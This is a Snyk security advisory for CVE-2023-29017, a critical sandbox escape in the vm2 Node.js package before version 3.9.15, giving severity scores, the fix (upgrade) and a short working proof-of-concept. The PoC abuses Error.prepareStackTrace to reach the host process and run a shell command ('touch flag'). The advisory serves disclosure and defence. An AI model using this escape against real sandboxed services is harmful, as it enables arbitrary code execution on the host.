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Sandbox Escape Affecting vm2 package, versions <3.9.15

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 1.48% (87th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-VM2-5415299
  • published 6 Apr 2023
  • disclosed 6 Apr 2023
  • credit KAIST WSP Lab
Report a new vulnerability Found a mistake?

Introduced: 6 Apr 2023

CVE-2023-29017 Open this link in a new tab
CWE-265 Open this link in a new tab

How to fix?

Upgrade vm2 to version 3.9.15 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Escape due to improper handling of host objects passed to Error.prepareStackTrace in case of unhandled async errors.

PoC 

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
(async ()=>{}).constructor('return process')()
`

vmInstance.run(code);